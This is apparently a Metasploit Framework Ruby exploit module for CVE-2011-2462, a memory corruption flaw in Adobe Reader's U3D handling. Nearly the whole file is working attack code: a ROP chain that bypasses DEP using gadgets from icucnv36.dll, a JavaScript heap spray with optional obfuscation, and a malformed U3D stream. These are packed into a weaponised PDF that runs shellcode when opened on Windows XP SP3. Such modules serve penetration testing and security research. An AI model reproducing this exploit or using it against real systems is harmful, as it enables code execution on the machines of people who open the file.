Adobe Reader U3D Memory Corruption Vulnerability

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name'           => 'Adobe Reader U3D Memory Corruption Vulnerability',

'Description'    => %q{

This module exploits a vulnerability in the U3D handling within

versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.

The vulnerability is due to the use of uninitialized memory.

Arbitrary code execution is achieved by embedding specially crafted U3D

data into a PDF document. A heap spray via JavaScript is used in order to

ensure that the memory used by the invalid pointer issue is controlled.

},

'License'        => MSF_LICENSE,

'Author'         =>

[

'sinn3r',

'juan vazquez',

'jduck'

],

'References'     =>

[

[ 'CVE', '2011-2462' ],

[ 'OSVDB', '77529' ],

[ 'BID', '50922' ],

[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],

[ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ],

[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],

[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

},

'Payload'        =>

{

'Space'         => 1000,

'BadChars'      => "\x00",

'DisableNops'   => true

},

'Platform'       => 'win',

'Targets'        =>

[

[

# Adobe Reader 9.4.0 / XP SP3

# Adobe Reader 9.4.5 / XP SP3

# Adobe Reader 9.4.6 / XP SP3

'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',

{

# gadget from icucnv36:

# mov ecx,dword ptr [eax+3Ch]

# mov eax,dword ptr [ecx]

# call dword ptr [eax+1Ch]

'Ret' => 0x4a8453c3

}

],

],

'DisclosureDate' => 'Dec 06 2011', #Needs to be checked

'DefaultTarget'  => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def junk(n=1)

tmp = []

value = rand_text(4).unpack("L")[0].to_i

n.times { tmp << value }

return tmp

end

def exploit

# DEP bypass; uses icucnv36.dll

stack_data = [

junk,

0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot

0x0c0c0c0c, # becomes esi

0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h

0x4a8a0000, # becomes edi

0x4a802196, # becomes esi

0x4a801f90, # becomes ebp

0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h

0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding

junk(4),

0x00000000, # becomes edi

0x00000002, # becomes esi

0x00000102, # becomes ebp

0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h

junk(5),

0x4a80a8a6, # becomes edi

0x4a801f90, # becomes esi

0x4a849038, # becomes ebp

0x4a8063a5, # pop ecx / ret

junk(5),

0x4a8a0000, # becomes ecx

0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)

0x4a801f90, # pop eax / ret

0x4a84903c, # becomes eax (import for CreateFileA)

0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}

0x4a801064, # ret for CreateFileA # ret

0x00000000, # __in      LPCTSTR lpFileName

0x10000000, # __in      DWORD dwDesiredAccess

0x00000000, # __in      DWORD dwShareMode

0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes

0x00000002, # __in      DWORD dwCreationDisposition

0x00000102, # __in      DWORD dwFlagsAndAttributes

0x00000000, # __in_opt  HANDLE hTemplateFile

0x4a8063a5, # pop ecx / ret

0x4a801064, # becomes ecx

0x4a842db2, # xchg eax, edi / ret

0x4a802ab1, # pop ebx / ret

0x00000008, # becomes ebx

0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret

0x4a801f90, # pop eax / ret

0x4a849038, # becomes eax (import for CreateFileA)

0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}

0x4a801064, # ret for CreateFileMappingA # ret

0xffffffff, # __in      HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA

0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,

0x00000040, # __in      DWORD flProtect,

0x00000000, # __in      DWORD dwMaximumSizeHigh,

0x00010000, # __in      DWORD dwMaximumSizeLow,

0x00000000, # __in_opt  LPCTSTR lpName

0x4a8063a5, # pop ecx / ret

0x4a801064, # becomes ecx

0x4a842db2, # xchg eax, edi / ret

0x4a802ab1, # pop ebx / ret

0x00000008, # becomes ebx

0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret

0x4a801f90, # pop eax / ret

0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)

0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}

0x4a801064, # ret for MapViewOfFile # ret

0xffffffff, # __in  HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}

0x00000022, # __in  DWORD dwDesiredAccess

0x00000000, # __in  DWORD dwFileOffsetHigh

0x00000000, # __in  DWORD dwFileOffsetLow

0x00010000, # __in  SIZE_T dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret

0x4a8a0004, # becomes ecx

0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile

0x4a8063a5, # pop ecx / ret

0x4a801064, # becomes ecx

0x4a842db2, # xchg eax, edi / ret

0x4a802ab1, # pop ebx / ret

0x00000030, # becomes ebx

0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret

0x4a801f90, # pop eax / ret

0x4a8a0004, # becomes eax {Result of MapViewOfFile}

0x4a80a7d8, # mov eax,dword ptr [eax] / ret

0x4a8063a5, # pop ecx / ret

0x4a801064, # becomes ecx

0x4a842db2, # xchg eax, edi / ret

0x4a802ab1, # pop ebx / ret

0x00000020, # becomes ebx

0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret

0x4a8063a5, # pop ecx / ret

0x4a801064, # becomes ecx

0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret

0x4a801f90, # pop eax / ret

0x00000034, # becomes eax # mapped at 0c0c0d8c

0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)

0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94

0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret

0x4a802ab1, # pop ebx / ret

0x0000000a, # becomes ebx

0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret

0x4a801f90, # pop eax / ret

0x4a849170, # becomes eax (import for MSVCR80!memcpy)

0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}

0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile

0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile

0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain

0x00001000  # length (memcpy param)

].flatten.pack('V*')

payload_buf = ''

payload_buf << stack_data

payload_buf << payload.encoded

escaped_payload = Rex::Text.to_unescape(payload_buf)

eip_ptr =

[

junk(3),

target.ret, # EIP

junk(7),

0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot

junk(16),

].flatten.pack('V*')

escaped_eip = Rex::Text.to_unescape(eip_ptr)

js = <<-JS

var padding;

var bbb, ccc, ddd, eee, fff, ggg, hhh;

var pointers_a, i;

var x = new Array();

var y = new Array();

function alloc(bytes) {

return padding.substr(0, (bytes - 6) / 2);

}

function spray_eip(esc_a) {

pointers_a = unescape(esc_a);

for (i = 0; i < 2000; i++) {

x[i] = alloc(0x8) + pointers_a;

y[i] = alloc(0x88) + pointers_a;

y[i] = alloc(0x88) + pointers_a;

y[i] = alloc(0x88) + pointers_a;

}

};

function spray_shellcode() {

bbb = unescape('#{escaped_payload}');

ccc = unescape("%u0c0c");

ccc += ccc;

while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;

i1 = 0x0c0c - 0x24;

ddd = ccc.substring(0, i1 / 2);

ddd += bbb;

ddd += ccc;

i2 = 0x4000 + 0xc000;

eee = ddd.substring(0, i2 / 2);

for (; eee.length < 0x40000 + 0x40000;) eee += eee;

i3 = (0x1020 - 0x08) / 2;

fff = eee.substring(0, 0x80000 - i3);

ggg = new Array();

for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";

}

padding = unescape("#{escaped_eip}");

while (padding.length < 0x10000)

padding = padding + padding;

spray_shellcode();

spray_eip('%u4141');

this.pageNum = 2;

JS

js = js.gsub(/^\t\t/,'')

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

u3d = make_u3d_stream

xml = make_xml_data

pdf = make_pdf(u3d, xml, js.to_s)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)

end

def make_xml_data

xml = %Q|<?xml version="1.0" encoding="UTF-8"?>

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

<ed>kapa</ed>

<config xmclns="http://www.microsoft.org/schema/xci/2.6/">

<present>

<pdf>

<version>1</version>

<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>

<interactive>1</interactive>

</pdf>

</present>

</config>

<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">

<subform name="form1" layout="tb" locale="en_US">

<pageSet>

</pageSet>

</subform>

</template>

<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">

<subform name="form1" layout="tb" locale="en_US">

<pageSet>

</pageSet>

</subform>

</template1>

<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">

<subform name="form1" layout="tb" locale="en_US">

<pageSet>

</pageSet>

</subform>

</template2>

</xdp:xdp>|

xml = xml.gsub(/^\t\t/, '')

return xml

end

def u3d_pad(str, char="\x00")

len = str.length % 4

if (len > 0)

#puts "Adding %d pad bytes" % (4 - len)

return (char * (4 - len))

end

""

end

def u3d_string(str)

([str.length].pack('v') + str)

end

def make_u3d_stream()

#

# REFERENCE:

# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf

# The File format consists of these blocks:

# [File Header Block][Declaration Block][Continuation Block]

# Each block consists of (padding is used to keep fields 32-bit aligned):

# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]

#

mc_name = u3d_string("CCCCBox01")

mr_name = u3d_string("Box01RX")

# build the U3D header (length will be patched in later)

hdr_data = [0,0].pack('n*') # version info

hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34

hdr = "U3D\x00"

hdr << [hdr_data.length,0].pack('VV')

hdr << hdr_data

parent_node_data =

"\x01\x00\x00\x00"+ # node count (1)

"\x00\x00"+         # name (empty)

# transform matrix

[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')

model_node_data = ""

model_node_data << mc_name

model_node_data << parent_node_data

model_node_data << mr_name

model_node_data << [1].pack('V') # Model Visibility (Front visible)

model_node = [0xffffff22,model_node_data.length,0].pack('VVV')

#model_node = [0xffffff22,0x5e,0].pack('VVV')

model_node << model_node_data

bone_weight_data = ""

bone_weight_data << mc_name

bone_weight_data << [

1,          # Chain index

1,          # Bone Weight Attributes (for a mesh)

0x3162123b, # Inverse Quant

0x14,       # Position Count

].pack('VVNV')

# Position List

bone_weight_data << [

# 1

1,          # Bone Weight Count

3,          # Bone Index (no Quantized Weight)

# 2

0x55550000, # Bone Weight Count

0x4c1df36e, # Bone Index

0x0200d002, # Quantized Weight

# 3

0x95000074, # Bone Weight Count

0x66ccc357, # Bone Index

0x00000000  # Quantized Weight

].pack('VVNNNNNN')

bone_weight = [0xffffff44,0x3a,0].pack('VVV')

# We hardcode the length to match the old file.. (TODO: test if necessary)

#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')

bone_weight << bone_weight_data

new_objtype1_data =

"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+

"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+

"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"

#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')

new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')

new_objtype1 << new_objtype1_data

shading_modifier_data = ""

shading_modifier_data << mc_name

shading_modifier_data <<

"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"

#shading_modifier = [0xffffff45,0x23,0].pack('VVV')

shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')

shading_modifier << shading_modifier_data

new_objtype2_data =

"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+

"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+

"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"

#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')

new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')

new_objtype2 << new_objtype2_data

nodemod_decl = ""

nodemod_decl << model_node

nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl << bone_weight

nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl << new_objtype1

nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl << shading_modifier

nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl << new_objtype2

nodemod_decl << u3d_pad(nodemod_decl)

nodemod_decl <<

# another modifier chain?

"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+

"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+

"\x00\x00"+

# clod mesh generator (declaration)

"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+

"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+

"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+

"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+

"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+

"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+

"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+

"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00"+

# clod mesh generator (progressive mesh cont)

"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+

"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+

"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+

"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+

"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+

"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+

"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+

"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+

"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+

"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+

"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+

"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+

"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+

"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+

"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+

"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"

# build the modifier chain

chain_data = ""

chain_data << mc_name

chain_data << [0].pack('V') # type (node modifier)

chain_data << [0].pack('V') # attributes (no bounding info)

chain_data << u3d_pad(chain_data)

chain_data << [0x5].pack('V') # number of modifiers

chain_data << nodemod_decl

#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes

modifier_chain = [0xffffff14,0x17c,0].pack('VVV')

modifier_chain << chain_data

data = ""

data << hdr

data << modifier_chain

data

end

def RandomNonASCIIString(count)

result = ""

count.times do

result << (rand(128) + 128).chr

end

result

end

def ioDef(id)

"%d 0 obj\n" % id

end

def ioRef(id)

"%d 0 R" % id

end

def ASCIIHexWhitespaceEncode(str)

result = ""

whitespace = ""

str.each_byte do |b|

result << whitespace << "%02x" % b

whitespace = " " * (rand(3) + 1)

end

result << ">"

end

def make_pdf(u3d_stream, xml, js_doc)

xref = []

eol = "\x0a"

obj_end = "" << eol << "endobj" << eol

# the header

pdf = "%PDF-1.7" << eol

# filename/comment

pdf << "%" << RandomNonASCIIString(4) << eol

email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"

site  = rand_text_alpha(5) + ".com"

xref << pdf.length

pdf << ioDef(1)

pdf << "<</Author (Fo)/email (#{email})/web (site)>>"

pdf << obj_end

compressed_xml = Zlib::Deflate.deflate(xml)

xref << pdf.length

pdf << ioDef(2)

pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol

pdf << "stream" << eol

pdf << compressed_xml << eol

pdf << "endstream"

pdf << obj_end

xref << pdf.length

pdf << ioDef(3)

pdf << "<</XFA " << ioRef(2) << ">>"

pdf << obj_end

xref << pdf.length

pdf << ioDef(4)

pdf << "<</Type/Catalog/Outlines " << ioRef(5)

pdf << " /Pages " << ioRef(6)

pdf << " /OpenAction " << ioRef(14)

pdf << " /AcroForm " << ioRef(3)

pdf << ">>"

pdf << obj_end

xref << pdf.length

pdf << ioDef(5) << "<</Type/Outlines/Count 0>>"

pdf << obj_end

xref << pdf.length

pdf << ioDef(6)

pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)]

pdf << obj_end

data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"

compressed_data = Zlib::Deflate.deflate(data)

xref << pdf.length

pdf << ioDef(7)

pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol

pdf << "stream" << eol

pdf << compressed_data << eol

pdf << "endstream"

pdf << obj_end

xref << pdf.length

pdf << ioDef(8)

pdf << "<</ProcSet [/PDF]>>"

pdf << obj_end

xref << pdf.length

pdf << ioDef(9)

pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]

pdf << obj_end

compressed_u3d = Zlib::Deflate::deflate(u3d_stream)

xref << pdf.length

pdf << ioDef(10)

pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol

pdf << "stream" << eol

pdf << compressed_u3d << eol

pdf << "endstream"

pdf << obj_end

xref << pdf.length

pdf << ioDef(11)

pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"

pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10)

pdf << obj_end

xref << pdf.length

pdf << ioDef(12)

pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)]

pdf << obj_end

xref << pdf.length

pdf << ioDef(13)

pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]

pdf << obj_end

xref << pdf.length

pdf << ioDef(14)

pdf << "<</S/JavaScript/JS %s>>" %ioRef(15)

pdf << obj_end

compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))

xref << pdf.length

pdf << ioDef(15)

pdf << "<</Length " <<  compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"

pdf << "stream" << eol

pdf << compressed_js << eol

pdf << "endstream"

pdf << obj_end

# xrefs

xrefPosition = pdf.length

pdf << "xref" << eol

pdf << "0 %d" % (xref.length + 1) << eol

pdf << "0000000000 65535 f" << eol

xref.each do |index|

pdf << "%010d 00000 n" % index << eol

end

# trailer

pdf << "trailer" << eol

pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol

pdf << "startxref" << eol

pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol

end

end